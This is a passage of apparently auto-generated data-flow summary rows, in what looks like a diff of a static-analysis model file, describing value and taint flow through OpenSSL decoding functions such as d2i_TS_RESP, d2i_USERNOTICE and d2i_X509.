"d2i_TS_REQ_bio", "(BIO *,TS_REQ **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_REQ_fp", "(FILE *,TS_REQ **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP", "(TS_RESP **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_bio", "(BIO *,TS_RESP **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_RESP_fp", "(FILE *,TS_RESP **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_STATUS_INFO", "(TS_STATUS_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO", "(TS_TST_INFO **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_bio", "(BIO *,TS_TST_INFO **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_TS_TST_INFO_fp", "(FILE *,TS_TST_INFO **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_USERNOTICE", "(USERNOTICE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509", "(X509 **,const unsigned char **,long)", "", 